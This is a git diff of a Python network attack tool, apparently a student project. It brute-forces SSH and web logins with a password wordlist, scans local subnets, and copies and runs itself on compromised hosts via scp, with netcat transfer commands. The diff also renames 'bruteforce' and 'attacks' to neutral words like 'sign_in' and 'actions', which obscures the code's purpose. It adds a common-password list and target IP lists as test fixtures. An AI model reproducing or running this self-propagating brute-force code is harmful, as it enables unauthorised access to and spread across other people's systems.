which to carry out an action + :param target_username: Target username that's needed for the action + :param password_list: Target password that's needed for the action + :return str(sign_in_details), service: The username and password of a + successful action with the service used + :return None, service: Empty username and password for an unsuccessful + action and the service which was used. """ service_switch = { - "22": "ssh", - "23": "telnet", - "80": "web login", - "8080": "web login", - "8888": "web login" + strings.SSH_PORT: strings.SSH_LOWERCASE, + strings.WEB_PORT_EIGHTY: strings.WEB_LOGIN, + strings.WEB_PORT_EIGHTY_EIGHTY: strings.WEB_LOGIN, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: strings.WEB_LOGIN } service = service_switch.get(str(port)) - bruteforce = bruteforce_service(ip, port, target_username, password_list) - if bruteforce: - logging.info("A working username and password for " + str(service) - + " was found.") - return str(bruteforce), service - else: - logging.debug("It was impossible to bruteforce this IP address and" - " port") + sign_in_details = sign_in_service(ip, port, target_username, password_list) + if sign_in_details: + logging.info(strings.working_username_password(service)) + return str(sign_in_details), service + logging.debug(strings.IMPOSSIBLE_ACTION) return None, service @@ -542,23 +554,34 @@ def try_password_for_service(ip, port, username, password): """ This function tries to log into to a port's associated service using a specific username and password pair. If it succeeds it returns the - successful login string, otherwise it returns an empty string. + successful login string, otherwise it returns an empty string + :param ip: The specific target IP + :param port: The specific target port + :param username: The username to use with the password + :param password: The password itself + :return str(username) + ":" + str(password): The successful username and + password combination + :return "": Empty string for unsuccessful username and password combination """ try: connect_service_switch = { - "22": lambda: connect_ssh_client(ip, port, username, password), - "23": lambda: connect_telnet(ip, port, username, password), - "80": lambda: connect_web(ip, port, username, password), - "8080": lambda: connect_web(ip, port, username, password), - "8888": lambda: connect_web(ip, port, username, password), + strings.SSH_PORT: lambda: connect_ssh_client(ip, port, username, + password), + strings.WEB_PORT_EIGHTY: lambda: connect_web(ip, port, username, + password), + strings.WEB_PORT_EIGHTY_EIGHTY: lambda: connect_web(ip, port, + username, + password), + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: lambda: + connect_web(ip, port, username, password), } connect_service = connect_service_switch.get(str(port)) if connect_service(): - return str(username) + ":" + str(password) - return "" + return str(username) + strings.COLON + str(password) + return False except RuntimeError: - return "" + return False def try_propagating(arguments, ip, port, bruteforce): @@ -568,17 +591,20 @@ def try_propagating(arguments, ip, port, bruteforce): service was successful. If it is unsuccessful then we let the user know it was unsuccessful and over what service. Should the user have never asked for the script to be propagated over the network then we let them know this - part of the process will not be done. + part of the process will not be done + :param arguments: The arguments passed in by the user themselves + :param ip: The IP address we wish to propagate to + :param port: The port we're propagating through + :param bruteforce: The username and password string combo """ - if "-P" in arguments and (port == "22" or "23"): + if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT): propagated = propagate_script(ip, port, bruteforce) if propagated: - logging.info("Script propagated over this port") + logging.info(strings.SCRIPT_PROPAGATED) else: - logging.debug("Script couldn't be propagated over this port") + logging.debug(strings.SCRIPT_NOT_PROPAGATED) else: - logging.info("Requirement to propagate script not specified," - " skipping...") + logging.info(strings.DO_NOT_PROPAGATE) def try_transferring_file(arguments, ip, port, bruteforce, @@ -589,25 +615,32 @@ def try_transferring_file(arguments, ip, port, bruteforce, the file was a success and over what service. If it is unsuccessful then we let the user know it was unsuccessful and over what service. Should the user have never asked for a file to be transferred over the network then we - let them know this process will not be done. - """ - if "-d" in arguments and (str(port) == "22" or "23"): + let them know this process will not be done + :param arguments: The arguments passed in by the user themselves + :param ip: The IP address we wish to propagate to + :param port: The port we're propagating through + :param bruteforce: The username and password string combo + :param transfer_file_filename: The filename of the file we wish to transfer + """ + if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments and \ + (str(port) == strings.SSH_PORT): transferred = transfer_file(ip, port, bruteforce, transfer_file_filename) if transferred: - logging.info("File transferred over port 22 or 23") + logging.info(strings.TRANSFER_SUCCESS_SSH) else: - logging.debug("File couldn't be transferred over port 22 or 23") + logging.debug(strings.TRANSFER_FAILURE_SSH) else: - logging.info("Requirement to transfer file not specified, skipping...") + logging.info(strings.DO_NOT_TRANSFER) def validate_file_exists(filename): """ This function checks if a file exists given a set filename and if it - doesn't we alert the user with an error and put them in the bold corner. - Just kidding we show the help screen and exit gracefully. + doesn't we alert the user with an error, show the help screen and exit + gracefully + :param filename: The name of the file we wish to ensure exists """ if not os.path.isfile(filename): - logging.error("A specified file does not exist") - gtfo_and_rtfm() + logging.error(strings.FILE_DOES_NOT_EXIST) + exit_and_show_instructions() diff --git a/src/strings.py b/src/strings.py index 31bb2f3..919090b 100644 --- a/src/strings.py +++ b/src/strings.py @@ -1,26 +1,395 @@ #!/usr/bin/python3 -""" -===PLEASE READ=== -String functions and constants are organised alphabetically. Every string -function has a block comment explaining what it does and where it's used and -every string constant has a comment describing its use. -""" +# The adding string. +ADDING = "Adding" +# Admin user string. +ADMIN = "admin" + +# All ports list, for utilising all services in the scripts. +ALL_PORTS = "22,23,25,80" + +# Argument to denote the filename of the IP address file. +ARGUMENT_IP_ADDRESS_FILENAME = "-t" + +# Argument to denote the set of ports to use. +ARGUMENT_PORTS = "-p" + +# Argument to denote the username for each of the actions. +ARGUMENT_USERNAME = "-u" + +# Argument to denote the filename of the passwords file. +ARGUMENT_PWS_FILENAME = "-f" + +# Argument to denote the need to propagate the running script. +ARGUMENT_PROPAGATE = "-P" + +# Argument to denote the need to scan the local network. +ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" + +# Argument to denote the use of a specific file given the filename propagation. +ARGUMENT_SPECIFIC_PROPAGATION_FILE = "-d" + +# Argument to denote the need for further help. +ARGUMENT_HELP_SHORT = "-h" + +# Argument to denote the need for further help, just the long version. +ARGUMENT_HELP_LONG = "--help" + +# Just a little arrow for CLI output. +ARROW = "->" + +# Prompt to let people know arguments are being assigned for testing. +ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" + +# Just the '@' symbol +AT_SYMBOL = "@" + +# String to describe the username argument under help +A_USERNAME = "A username" + +# Letting the user know we can't read an IP list from a specific file. +CAN_NOT_READ_IP_LIST = "IP list cannot be read from filename:" + +# cat command +CAT = "cat" + +# A string that states that the IP and port pair is closed. +CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" + +# A string that just denotes the use of a colon, same "idea" as above. +COLON = ":" + +# A string that just denotes the use of a comma, same "idea" as above. +COMMA = "," + +# A string that states a script wasn't propagated. +DO_NOT_PROPAGATE = "Requirement to propagate script not specified, skipping..." + +# A string that states a file wasn't transferred. +DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." + +# Just three dots at the end of a sentence. +ELLIPSES = "..." + +# A string for specifying encoding for ascii. +ENCODE_ASCII = "ascii" + +# A string which specifically states something is example usage. +EXAMPLE_USAGE = "Example usage:" + +# An exiting prompt. EXITING = "Exiting..." -FILENAME_PROCESSING_ERROR = "One of the filenames are invalid." + +# Prompts the user that values couldn't be assigned +FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" + +# Fetching IP for a given interface message +FETCHING_INTERFACE_IPS = "Fetching IPs for interface" + +# Prompts the user that their fetching the local interface list. +FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." + +# Name of the test text file, prepended with src/ for Pytest to work. +FILE = "src/test_files/file.txt" + +# Lets the user know a file doesn't exist. +FILE_DOES_NOT_EXIST = "A specified file does not exist" + +# Lets the user know that a file is present on the host. +FILE_PRESENT_ON_HOST = "A file is already present on this host:" + +# String for the help output. +FILENAME_LIST_IP_ADDRESSES = "Filename for a file containing a list of " \ + "target IP addresses" + +# Lets the user know there's an open port on a specific IP address. +FOUND_OPEN_IP_PORT_PAIR = "Found an open IP address and port pair" + +# Just simply says "from interface" +FROM_INTERFACE = "from interface" + +# Full stop string, memory saving again, reducing redundant assigns. +FULL_STOP = "." + +# There's a problem with parsing a file with a given filename. +FILENAME_PROCESSING_ERROR = "One of the filenames are invalid" + +# String for defining the passwords filename argument under help. +FILENAME_PWS_FILE = "Filename for a file containing a list of passwords" + +# Greater than symbol. +GREATER_THAN = ">" + +# The help string for the propagation argument definition in help output. +HELP_STRING_PROPAGATION = "Propagates the script onto available devices and " \ + "executes the script using the given command" + +# Home directory string. +HOME_DIR = ":~/" + +# HTTPS String for start of URLs. +HTTPS_STRING = "https://" + +# Letting the user know a propagation action had failed. +IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" + +# Specifying that something is from an interface's subnet. +INTERFACE_SUBNET = "'s subnet." + +# Letting the user know a specified IP file could not be found. +IP_FILENAME_NOT_FOUND = "Could not find the specified IP file" + +# Name of the test IP list file, prepended with src/ for Pytest to work. +IP_LIST = "src/test_files/ip_list.txt" + +# Let the suse know that we're checking to see if the IP address is reachable. +IS_IP_REACHABLE = "Checking if the following ip address is reachable:" + +# The less than symbol. +LESS_THAN = "<" + +# Lines to check from the test file. +LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " + "do eiusmod tempor", "incididunt ut labore et dolore magna " + "aliqua. Ut enim ad minim veniam, quis", + "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " + "commodo consequat.", "Duis aute irure dolor in reprehenderit " + "in voluptate velit esse cillum dolore", + "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" + " proident, sunt", "in culpa qui officia deserunt mollit anim id" + " est laborum."] + +# The string that defines the local scan argument in the help output. +LOCAL_SCAN_STRING_HELP = "Scans the lan across all interfaces and " \ + "creates/adds to the list of target IP addresses" + +# Login PHP string, generally used with web logins. +LOGIN_PHP = "/login.php" + +# The login prompt a user usually sees with SSH. +LOGIN_PROMPT = "login:" + +# Login to string, another string building constant. +LOGIN_TO = "login to" + +# The typical ID of the loopback interface. +LOOPBACK = "lo" + +# The main function call. +MAIN = "main()" + +# The main filename +MAIN_FILENAME = "main.py" + +# The main script. +MAIN_SCRIPT = "./main.py" + +# Netcat listener, with a specified port, the command. +NETCAT_LISTENER_PORT_COMMAND = "nc -l -p" + +# Netcat writer with a 3-second timeout time, command. +NETCAT_WRITER_COMMAND = "nc -w 3" + +# The name of the net propagation script. +NET_PROPAGATION = "src/net_propagation.py" + +# Newline character, mostly used to mimic an enter key press. +NEWLINE = "\n" + +# Two newline and tab special characters. +NEWLINE_NEWLINE_TAB = "\n\n\t" + +# The newline and tab special characters. +NEWLINE_TAB = "\n\t" + +# Just the numerical form of the number one, again, memory preservation. +ONE = "1" + +# Password prompt for SSH. +PASSWORD_PROMPT = "Password:" + +# Password prompt for web logins, rather the post ID really. +PASSWORD_PROMPT_WEB = "password:" + +# List of dummy passwords +PWDS_LIST = "src/test_files/password_list.txt" + +# Parameters string for help test. +PARAMETERS = "Parameters:" + +# Parameters were used incorrectly, so we're telling the user what to do. +PARAMETER_MISUSE = "Parameter misuse, check help text below" + +# Letting the user know we're performing a local scan. PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." -PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ - "target IP addresses\n\t-p -> Ports to scan on the target host" \ - "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ - "a list of passwords\n\t-L -> Scans the lan across all " \ - "interfaces and creates/adds to the list of target IP addresses" \ - "\n\t-P -> Propagates the script onto available devices and " \ - "executes the script using the given command\nExample usage:\n" \ - "\t./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin " \ - "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ - "-p 22 -u root -f passwords.txt" + +# The ping command. +PING = "ping" + +# The argument for ping which specifies the number of packets sent. +PING_ARGUMENT = "-c" + +# String for the help text. +PORTS_TO_SCAN = "Ports to scan on the target host" + +# A string just for tests. +RANDOM_STRING = "tests" + +# Root user string. +ROOT = "root" + +# RSA specific password prompt. +RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ + "RSA key prompts: " + +# A different password prompt following the previous one. +RSA_PROMPT_AGAIN = "Please type in this password again: " + +# The error when an SSH command has been tampered with. +SANITATION_FAILED = "SSH command did not pass sanitation checks" + +# SCP Command String. +SCP_COMMAND = "scp -P" + +# Specifies that the script has been propagated over a port (use debug for +# specific port number). +SCRIPT_PROPAGATED = "Script propagated over this port" + +# Specifies that the script hasn't been propagated over a port. +SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" + +# Just a space, yep, really. +SPACE = " " + +# Just an SSH strings, memory saving measures again. +SSH = "SSH" + +# Same as above just lowercase, needed in some instances. +SSH_LOWERCASE = "ssh" + +# The default port for SSH. +SSH_PORT = "22" + +# Station an action was successful. +SUCCESSFUL = "Successful" + +# The syn flag for packet crafting in Scapy +SYN_FLAG = "S" + +# Test IP addresses. +TEST_IP = "192.168.1.1" + +# The string used for the touch command +TOUCH_COMMAND = "touch" + +# Letting the user know a file couldn't be transferred over SSH default port. +TRANSFER_FAILURE_SSH = "File couldn't be transferred over port 22 / SSH" + +# Letting the user know a file could be transferred over port 22 / SSH default +# ports. +TRANSFER_SUCCESS_SSH = "File transferred over port 22 / SSH" + +# Unsuccessful statement to be used with services and actions. +UNSUCCESSFUL = "Unsuccessful" + +USERNAME_IN_PWS = "using the specified username with a password in the " \ + "passwords file." + +# The username prompt that comes with web login POST requests. +USERNAME_PROMPT_WEB = "username:" + +# Letting the user know something was found. +WAS_FOUND = "was found." + +# A string stating that something was not reachable +WAS_NOT_REACHABLE = "was not reachable" + +# A string stating that something was reachable +WAS_REACHABLE = "was reachable" + +# Just a web string to define services and actions. +WEB = "web" + +# Just a web login string to define services and actions. +WEB_LOGIN = "web login" + +# Port 80 for web services. +WEB_PORT_EIGHTY = "80" + +# Port 8080 for web services. +WEB_PORT_EIGHTY_EIGHTY = "8080" + +# Port 8888 for web services. +WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT = "8888" + +# Welcome to string, used for a lot of the prompts. +WELCOME_TO = "Welcome to" + +# Letting the user know about a working username and password. +WORKING_USERNAME_PASS = "A working username and password for" + + +def adding_address_to_interface(specific_address, interface): + """ + This function takes a specific address and an interface and generates a + string for declaring it was found in a given subnet + :param specific_address: The specific target address to be added to the + interface + :param interface: The interface on which we're adding a specific target + address + :return "Adding " + str(specific_address) + " from interface " + + str(interface) + "'s subnet.": The string in question + """ + return ADDING + SPACE + str(specific_address) + SPACE + \ + FROM_INTERFACE + SPACE + str(interface) + INTERFACE_SUBNET + + +def arguments_sets(selection): + """ + This function contains the all sets of arguments used for testing + purposes + :param selection: The argument being called from the function + :return : The argument selected itself. + """ + arguments = { + # This runs the script against all services and four ports + 0: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, ALL_PORTS, + ARGUMENT_USERNAME, ADMIN, ARGUMENT_PWS_FILENAME, PWDS_LIST], + # This just runs the scripts against one port / service + 1: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST], + # This propagates a specific file over SSH + 2: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, + ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE], + # This is running the automated propagation feature over SSH. + 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, + ARGUMENT_PROPAGATE] + } + return arguments.get(selection, None) + + +def cat_file(filename): + """ + This function creates a command for concatenating a specific file + :param filename: The filename of the file we want to touch + :return "cat " + filename: The completed cat command + """ + return CAT + SPACE + filename + + +def checking_ip_reachable(ip): + """ + This function creates a string that describes the availability of a machine + on a specific IP address + :param ip: The specific IP address + :return "Checking if the following ip address is reachable: " + str(ip): + The string in question + """ + return IS_IP_REACHABLE + SPACE + str(ip) def connection_status(service, ip, port, status): @@ -28,11 +397,51 @@ def connection_status(service, ip, port, status): This function creates the connection status string dependent on the context given by the arguments passed into it. """ - string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ - + str(port) \ - + " using the specified username with a password in the passwords" \ - " file." - return string + return str(status) + SPACE + str(service) + SPACE + LOGIN_TO + SPACE + \ + str(ip) + COLON + str(port) + SPACE + USERNAME_IN_PWS + + +def fetching_ips_for_interface(interface): + """ + This function generates the string for fetching the IPs for a specific + interface + :param interface: The interface we're fetching IPs on + :return "Fetching IPs for interface " + str(interface) + "...": The string + in question + """ + return FETCHING_INTERFACE_IPS + SPACE + str(interface) + ELLIPSES + + +def file_present_on_host(ip): + """ + This function generates the string for a file already present on a host + :param ip: The host itself + :return "A file is already present on this host: " + str(ip): The string + in question + """ + return FILE_PRESENT_ON_HOST + SPACE + str(ip) + + +def scp_command_string(port, username, target_ip, filename): + """ + This function creates and SSH copy string for an OS command + :param port: Port over which we are running the SSH copy + :param username: The username for the SSH login + :param target_ip: The IP address of the machine we are copying too + :param filename: The name of the file to be copied across by SSH + :return: The SSH copy command + """ + return SCP_COMMAND + SPACE + str(port) + SPACE + filename + SPACE + \ + username + AT_SYMBOL + target_ip + HOME_DIR + + +def touch_file(filename): + """ + This function creates a command for touching a specific file + :param filename: The filename of the file we want to touch + :return: The completed touch command + """ + return TOUCH_COMMAND + SPACE + filename def ip_list_not_read(filename): @@ -41,7 +450,105 @@ def ip_list_not_read(filename): a particular filename :param filename: The filename of the file that can't have an ip list derived from it - :return string: The string in question. + :return: The string in question + """ + return CAN_NOT_READ_IP_LIST + SPACE + filename + + +def ip_reachability(ip, reachable): + """ + This function generates the string regarding the reachability of an IP i.e. + whether it can be pinged + :param ip: The IP being pinged + :param reachable: Whether it is reachable + :return str(ip) + " was reachable.": String returned if it is reachable + :return str(ip) + " was not reachable.": String returned if it is not + reachable + """ + if reachable: + return str(ip) + SPACE + WAS_REACHABLE + FULL_STOP + return str(ip) + SPACE + WAS_NOT_REACHABLE + FULL_STOP + + +def netcat_listener(port, filename): + """ + This function will create a netcat listener on the device we have a netcat + link to + :param port: The port on which the netcat listener will operate + :param filename: The filename of the file we're moving using the listener + parameter + :return: The string in question + """ + return NETCAT_LISTENER_PORT_COMMAND + SPACE + str(port) + SPACE + \ + GREATER_THAN + SPACE + filename + + +def netcat_writer(ip, port, filename): + """ + This function will create a netcat writer to write a file to a device we + have a netcat link to + :param ip: Machine with the netcat listener we are writing to + :param port: The port on which the netcat writer will operate + :param filename: The filename of the file we're moving using the writer + parameter + :return: The string in question + """ + return NETCAT_WRITER_COMMAND + SPACE + str(ip) + SPACE + str(port) + \ + SPACE + LESS_THAN + SPACE + filename + + +def help_output(): + """ + This is the help output for when the user passes in the help parameter + :return: The output itself. + """ + return PARAMETERS + NEWLINE_TAB + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + \ + ARROW + SPACE + FILENAME_LIST_IP_ADDRESSES + NEWLINE_TAB + \ + ARGUMENT_PORTS + SPACE + ARROW + SPACE + PORTS_TO_SCAN + \ + NEWLINE_TAB + ARGUMENT_USERNAME + SPACE + ARROW + SPACE + \ + A_USERNAME + NEWLINE_TAB + ARGUMENT_PWS_FILENAME + SPACE + ARROW + \ + SPACE + FILENAME_PWS_FILE + NEWLINE_TAB + \ + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + ARROW + SPACE + \ + LOCAL_SCAN_STRING_HELP + NEWLINE_TAB + ARGUMENT_PROPAGATE + SPACE + \ + ARROW + SPACE + HELP_STRING_PROPAGATION + NEWLINE + EXAMPLE_USAGE + \ + NEWLINE_TAB + MAIN_SCRIPT + SPACE + ARGUMENT_IP_ADDRESS_FILENAME + \ + SPACE + IP_LIST + SPACE + ARGUMENT_PORTS + SPACE + ALL_PORTS + \ + SPACE + ARGUMENT_USERNAME + SPACE + ADMIN + SPACE + \ + ARGUMENT_PWS_FILENAME + SPACE + PWDS_LIST + NEWLINE_NEWLINE_TAB + \ + MAIN_SCRIPT + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + IP_LIST + \ + SPACE + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + \ + ARGUMENT_USERNAME + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + \ + SPACE + PWDS_LIST + + +def run_script_command(): + """ + This function will run the propagation script on another target machine + over any service + :return: The command itself + """ + return MAIN_SCRIPT + SPACE + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + \ + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + ARGUMENT_USERNAME + \ + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + PWDS_LIST + SPACE + \ + ARGUMENT_PROPAGATE + + +def web_login_url(ip, port): + """ + This function will build the web login url string + :param ip: The IP of the machine running the web service + :param port: The port the web service is running on + :return: The string itself + """ + return HTTPS_STRING + ip + COLON + port + LOGIN_PHP + + +def working_username_password(service): + """ + This function will build a string for a working username and password given + a specific service + :param service: Service for which there is a working username and password + combination + :return: The string itself """ - string = "IP list cannot be read from filename: " + filename - return string + return WORKING_USERNAME_PASS + SPACE + str(service) + SPACE + WAS_FOUND diff --git a/src/test_files/file.txt b/src/test_files/file.txt new file mode 100644 index 0000000..59a9bdd --- /dev/null +++ b/src/test_files/file.txt @@ -0,0 +1,6 @@ +Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor +incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis +nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore +eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt +in culpa qui officia deserunt mollit anim id est laborum. \ No newline at end of file diff --git a/src/test_files/ip_list.txt b/src/test_files/ip_list.txt new file mode 100644 index 0000000..df93ec6 --- /dev/null +++ b/src/test_files/ip_list.txt @@ -0,0 +1,14 @@ +10.0.4.3 +10.0.0.2 +10.0.3.2 +192.168.3.2 +172.18.99.55 +192.168.2.2 +10.0.0.3 +10.0.0.4 +172.16.77.77 +172.1.1.1 +192.244.244.6 +10.0.0.5 +10.0.0.77 +10.0.0.6 \ No newline at end of file diff --git a/src/test_files/passwords_list.txt b/src/test_files/passwords_list.txt new file mode 100644 index 0000000..3c5fc90 --- /dev/null +++ b/src/test_files/passwords_list.txt @@ -0,0 +1,32 @@ +123456 +ytrewq +123456789 +password +antisec +princess +1234567 +rockyou +12345678 +abc123 +nicole +daniel +ubuntu +monkey +lovely +dualcore +jessica +654321 +michael +ashley +qwerty +111111 +thispasswordwillwork +000000 +tigger +sunshine +chocolate +password1 +anotherpassword +soccer +anthony +phreak \ No newline at end of file diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 2dd05f3..d8cae93 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,48 +1,97 @@ #!/usr/bin/python3 -# TODO: Finish this test by checking assert for console output in the bad path -# and start the good path. (Andrew) -# TODO: Implement proper logging for tests. Not much point if we don't know -# what's going on. :) In fact, implement it wherever it can be... (Andrew) +# Importing net_propagation for testing. import net_propagation +# Importing strings for common string resources. import strings -""" - - Importing net_propagation for testing. - - Importing strings for common string resources. -""" -""" -===PLEASE READ=== -Test functions are organised alphabetically. The tests here pertain to -net_propagation.py. Every test function has a block comment explaining what it -does. -""" - - -def test_additional_attacks(): +def test_additional_actions(): """ - This function tests the additional_attacks method in the main class. The - goal is to check every service for both good paths and bad paths. + This function tests the additional_actions function in the net_propagation + script. Currently, the function only calls two other functions, so this + test uses the bad path in both to run through once. Good paths are tested + in the two functions own tests. """ - arguments = ["-t", "-d"] - ip = "0.0.0.0" - username = "test" - transfer_file_filename = "test" - ports = ["22", "23", "80", "8080", "8888"] + arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] + ip = strings.TEST_IP + username = strings.RANDOM_STRING + transfer_file_filename = strings.RANDOM_STRING + ports = [strings.SSH_PORT, strings.WEB_PORT_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] for port in ports: - net_propagation.additional_attacks(arguments, ip, port, username, + net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) +def test_append_lines_from_file_to_list(): + """ + This function tests the append_lines_from_file_to_list function in the + net_propagation script. It feeds in a test file, and we check the result it + returns for validity. Each line is checked independently without a for loop + for readability in test results i.e. we'll be able to correlate a specific + line with an error. + """ + with open(str(strings.FILE)) as file: + lines_list = net_propagation.append_lines_from_file_to_list(file) + assert lines_list[0] == strings.LINES[0] + assert lines_list[1] == strings.LINES[1] + assert lines_list[2] == strings.LINES[2] + assert lines_list[3] == strings.LINES[3] + assert lines_list[4] == strings.LINES[4] + assert lines_list[5] == strings.LINES[5] + + +def test_assigning_values(): + """ + This function tests the assigning_values function in the net_propagation + script. It uses example arguments to do this stored in strings.py, but + before it does that the bad path is checked by passing in a single argument + with no value to get a runtime error. + """ + assert net_propagation.assigning_values(strings.arguments_sets(0)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(1)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(2)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(3)) is None + + +def test_check_over_ssh(): + """ + This function tests the check_check_over_ssh function, it will always fail + for now until I figure out how to mock an SSH connection. + """ + assert net_propagation.check_over_ssh(strings.TEST_IP, strings.SSH_PORT, + strings.ADMIN, strings.ADMIN) is \ + True + + +def test_exit_and_show_instructions(capfd): + """ + This function tests the exit_and_show_instructions function. + Should just run straight through no problem hence why all this function + does is run that function and check what shows up in the console, errors or + exceptions will fail this test for us + :param capfd: Parameter needed to capture log output. + """ + net_propagation.exit_and_show_instructions() + out, err = capfd.readouterr() + assert out == strings.help_output() + "\n" + strings.EXITING + "\n" + + def test_file_error_handler(capfd): """ This function tests the file_error_handler function. Should just run straight through no problem hence why all this function does is run that function and check what shows up in the console, errors or exceptions will - fail this test for us. + fail this test for us + :param capfd: Parameter needed to capture log output. """ net_propagation.file_error_handler() out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ - + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + + strings.help_output() + "\n" + strings.EXITING + "\n"